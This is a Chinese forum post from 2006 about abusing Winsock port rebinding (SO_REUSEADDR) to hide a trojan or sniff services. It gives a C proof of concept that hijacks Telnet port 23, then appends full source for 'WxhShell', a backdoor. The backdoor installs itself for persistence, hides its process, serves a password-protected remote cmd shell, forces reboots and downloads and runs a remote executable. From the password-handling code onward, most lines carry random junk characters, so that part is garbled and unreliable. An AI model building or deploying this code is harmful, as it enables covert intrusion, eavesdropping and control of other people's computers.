[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

只看楼主更多操作楼层直达

0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; o?P(Fuf
if(chr[0]==0xd || chr[0]==0xa) { "42u0rH0J
pwd=0; d>F=|dakL
break; ff"Clp
} di6A.N5A
i++; 9s)YPlDz
} .a:Oj3=0
B\bIMjXV
// 如果是非法用户，关闭 socket {: EQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9;;1 "^4/
} j#%*@]>Tg
NXDV3MH=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %V;k/w~[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &..![,)w^!
z$p+l]
while(1) { =Feavyx
nM8aC&Rd\
ZeroMemory(cmd,KEY_BUFF); Zl"h-~31
PpN+q:(
// 自动支持客户端 telnet标准 WT(R =bLw
j=0; ox {Cm
while(j<KEY_BUFF) { O*oL(dk*8L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 Yl[J;i
cmd[j]=chr[0]; 9!V<=0b/
if(chr[0]==0xa || chr[0]==0xd) { ]\P
cmd[j]=0; ?"AcK"v
break; a(Z" }m
} K@*m6)
j++; 'rf='Y
} 3uRnbO-
> ^3xBI:Q
// 下载文件 cZL"e
if(strstr(cmd,"http://")) { ik~hL/JD\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yl1@gw7
if(DownloadFile(cmd,wsh)) zEY Ey1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >T~{_|N
else l;Zc[6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CT4R/wzY7
} +C\?G/
else { r3ZY`zf
#eE:hiu<v
switch(cmd[0]) { u4o%qK
#:Cr'U
// 帮助 0y'34}
case '?': { y>8!qVX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Iu0K#.s_
break; LEVNywk[
} %8 cFzyE*
// 安装 _a*Wk
case 'i': { hUGIy(
if(Install()) G`|mP:T:o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KUH&_yCRB
else +cy(}Vp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zGZe|-
break; S%&l(=0X
} O0b8wpFf
// 卸载 9>@_};l
case 'r': { scL7PxJ5
if(Uninstall()) 3{CGYd]_u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaM,9MAu
else ]RnX'yw^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); */\dH<
break; RWA|%/L
} B5B'H3@
// 显示 wxhshell 所在路径 &;9<a^td
case 'p': { /q='~t
char svExeFile[MAX_PATH]; 6mdJ =b#
strcpy(svExeFile,"\n\r"); Mw'd<{
strcat(svExeFile,ExeFile); :g<dwuVO
send(wsh,svExeFile,strlen(svExeFile),0); :Np&G4IM>
break; Ev0V\tl>0
} =NJb9S&8A
// 重启 `!m+g0
case 'b': { ['-ln)96.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `34[w=Zm
if(Boot(REBOOT)) W,Dr2$V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8HSYA
else { ~,':PUkiV
closesocket(wsh); "P<~bw5
ExitThread(0); &B3\;|\
} [+GQ3Z\
break; T_AZCl4d
} FIU(2
// 关机 ci3{k"
case 'd': { E?Q=#+}U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X[;4.imE
if(Boot(SHUTDOWN)) 2b|vb}|t{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wZrdr4j
else { Bfw>2
closesocket(wsh); P!bm$h*3?
ExitThread(0); }aX).u
} yJb;V#
break; FLy|+4D_%4
} mg >oB/,'Z
// 获取shell qd{|"(9B
case 's': { y ImriCT
CmdShell(wsh); sMO3eNLn
closesocket(wsh); f"Iv
ExitThread(0); M;Vx[s,#,
break; \mc~w4B[)3
} &5d>jEaB}
// 退出 H`@x5RjS
case 'x': { miN(a; Q2P
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a+]=3o
CloseIt(wsh); yxA0#6so
break; 5@ZD'
} X#eVw|
// 离开 p3^7Hr
case 'q': { b:%>TPT
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /h2`?~k+
closesocket(wsh); O4$: xjs
WSACleanup(); u%*;gu"2
exit(1); 'inWV* P*g
break; SKG_P)TnO
} 7%w4?Nv3I
} m?B@VDZ
} ?+Qbr$]
(x=NA )
// 提示信息 i,RK0q?>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~GhV4vq
} C!Tl?>Tt
} RPp_L>&~<
54}s:[O
return; 'm/b+9?.
} g]d"d
=ARI*
// shell模块句柄 #),QWTl3
int CmdShell(SOCKET sock) oN _%oc
{ _r,# l5~U
STARTUPINFO si; ~kN6Hr*X
ZeroMemory(&si,sizeof(si)); s` S<BX7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T@Q.m.iV4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $V\xN(Ed
PROCESS_INFORMATION ProcessInfo; BwBv'p+n
char cmdline[]="cmd"; t<:XY
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T_gW't>
return 0; ruE.0VI@
} ,:z@Ji
s@3!G+ -}
// 自身启动模式 sHEISNj/^
int StartFromService(void) d0N7aacY
{ sk],_l<
typedef struct C2`END;
{ eN jC.w9
DWORD ExitStatus; 9CL&tpqv f
DWORD PebBaseAddress; ?NHh=H\7u
DWORD AffinityMask; 1^$Io}o:S
DWORD BasePriority; e94csTh=
ULONG UniqueProcessId; aX ?ON
ULONG InheritedFromUniqueProcessId; ~KX!i 8+X
} PROCESS_BASIC_INFORMATION; {=R=\Y?r&
t~bjDV^`
PROCNTQSIP NtQueryInformationProcess; \{~x<<qFd
m*I5 \
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a{u)~:/G
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w93yhV?
1P[!B[;c
HANDLE hProcess; 4s$))x9p
PROCESS_BASIC_INFORMATION pbi; da2BQ;
!A<?nz Uv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g\jdR_/
if(NULL == hInst ) return 0; >eU;lru2Q
XVI+Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'vCFT(C-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p6ZKyi
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Wa6?r<g
h"<rW7z
if (!NtQueryInformationProcess) return 0; *np%67=jO
12rr:(#%s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @w|~:>/g
if(!hProcess) return 0; k'u2a
8taaBM`:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OY@/18D<>
f:HRrKf9
CloseHandle(hProcess); zfxxPL'
KD#ip3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \GPWC}V\s
if(hProcess==NULL) return 0; g4~{#P^i
Q04N
HMODULE hMod; ,D#~%kq~
char procName[255]; ,':?3| $c
unsigned long cbNeeded; 5$9j&&R
rgOB0[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2p'qp/
<K2 )v~
CloseHandle(hProcess); fHe3 :a5+W
7ZJYT#>b
if(strstr(procName,"services")) return 1; // 以服务启动 b)`<J @&{
$osDw1C
return 0; // 注册表启动 i*F^;-q)
} 3tgct <"
tF=96u_X
// 主模块 Qy9#(596
int StartWxhshell(LPSTR lpCmdLine) OvQG%D}P=
{ 'jfI1 ]q
SOCKET wsl; a7M8sZ?"
BOOL val=TRUE; iXXgPapz
int port=0; JZai{0se
struct sockaddr_in door; 9v/1>rziE
ON!1lS
if(wscfg.ws_autoins) Install(); eP;lH~!.0
[dUW3}APV
port=atoi(lpCmdLine); 3ne=7Mj
)kg^.tP
if(port<=0) port=wscfg.ws_port; r_Xk:
t&-7AjS5
WSADATA data; fkYa
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y5oiH
MF>?! !
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hGzj}t W8d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0naegy?,
door.sin_family = AF_INET; R{Cj]:Ky
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C !uwD
door.sin_port = htons(port); a N_M
NO;+:0n
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .,feRK>3
closesocket(wsl); Vbz$dpT
return 1; *n}{)Ef
} >a]{q^0
X$J
if(listen(wsl,2) == INVALID_SOCKET) { %m{h1UQQ+
closesocket(wsl); WG1x:,-
return 1; l? 7D0
} d)9=hp;,V
Wxhshell(wsl); o2&mhT
WSACleanup(); 'Kc;~a
~kF^0-JZY
return 0; \iO ,y:
ql^n=+U
} @#;~_?$?C
= q;ACW,z
// 以NT服务方式启动 qJrK?:O;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'BtvT[KM
{ j#.Aiy:,
DWORD status = 0; 2gukK8R$
DWORD specificError = 0xfffffff; >~2oQ[n
9Yd<_B#
serviceStatus.dwServiceType = SERVICE_WIN32; Wc#4%kT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; U%m,:b6V
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _@SC R%
serviceStatus.dwWin32ExitCode = 0; uBH4E;[f
serviceStatus.dwServiceSpecificExitCode = 0; E ekX|*
serviceStatus.dwCheckPoint = 0; 5_0Eh!sx
serviceStatus.dwWaitHint = 0; 51l:
CO-9-sQx
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AvH^9zEE(
if (hServiceStatusHandle==0) return; qy/xJ>:
f D2.Zh
status = GetLastError(); UJ n3sZ<}
if (status!=NO_ERROR) PkMN@JS
{ `Z0FQ( r_
serviceStatus.dwCurrentState = SERVICE_STOPPED; sYYNT*
serviceStatus.dwCheckPoint = 0; "! m6U#^
serviceStatus.dwWaitHint = 0; $CRu?WUS]'
serviceStatus.dwWin32ExitCode = status; l*":WzRGvF
serviceStatus.dwServiceSpecificExitCode = specificError; xrf z-"n4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S sGb;
return; _-$(=`8|<{
} iTwb#Q=
_?CyKk\I
serviceStatus.dwCurrentState = SERVICE_RUNNING; >-0Rq[)
serviceStatus.dwCheckPoint = 0; 0EKi?vP@y7
serviceStatus.dwWaitHint = 0; k`_sKr]9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2.qEy6
} -QN1=G4
kq8.SvIb
// 处理NT服务事件，比如：启动、停止 gwm!Pw j
VOID WINAPI NTServiceHandler(DWORD fdwControl) @j=:V!g2O
{ T]HeS(
switch(fdwControl) ~l+2Z4nV
{ ,` 6O{Z~
case SERVICE_CONTROL_STOP: 2Jo|]>nl}u
serviceStatus.dwWin32ExitCode = 0; kNR -eG
serviceStatus.dwCurrentState = SERVICE_STOPPED; Qzt'ZK
serviceStatus.dwCheckPoint = 0; ~}pc&jz>q
serviceStatus.dwWaitHint = 0; _Dr9 w&;<
{ 8BE] A_X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %|AebxB'o
} jmPnUn
return; |Bz1u|uc
case SERVICE_CONTROL_PAUSE: c#(Hh{0
serviceStatus.dwCurrentState = SERVICE_PAUSED; -Aaim`06bv
break; 0"}J!c<g
case SERVICE_CONTROL_CONTINUE: kOdXbw9v
serviceStatus.dwCurrentState = SERVICE_RUNNING; WPI<SsLd
break; . |%n"{
case SERVICE_CONTROL_INTERROGATE: f$ 9O0,}%O
break; ``4e&
}; ;x%"o[[>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SO4?3wg7
} G!dx)v
\Kr8k`f
// 标准应用程序主函数 2*Zk^h=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G%iTL"6
{ )Fon;/p
=gNPS0H
// 获取操作系统版本 n&OM~Vs
OsIsNt=GetOsVer(); '.EO+1{a
GetModuleFileName(NULL,ExeFile,MAX_PATH); % bfe_k(
d^MRu#]
// 从命令行安装 J?{@pA
if(strpbrk(lpCmdLine,"iI")) Install(); _NefzZWUJ
:aQ.:b(n
// 下载执行文件 Rjp7H
if(wscfg.ws_downexe) { ~(nc<M[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 76H>ST@G|
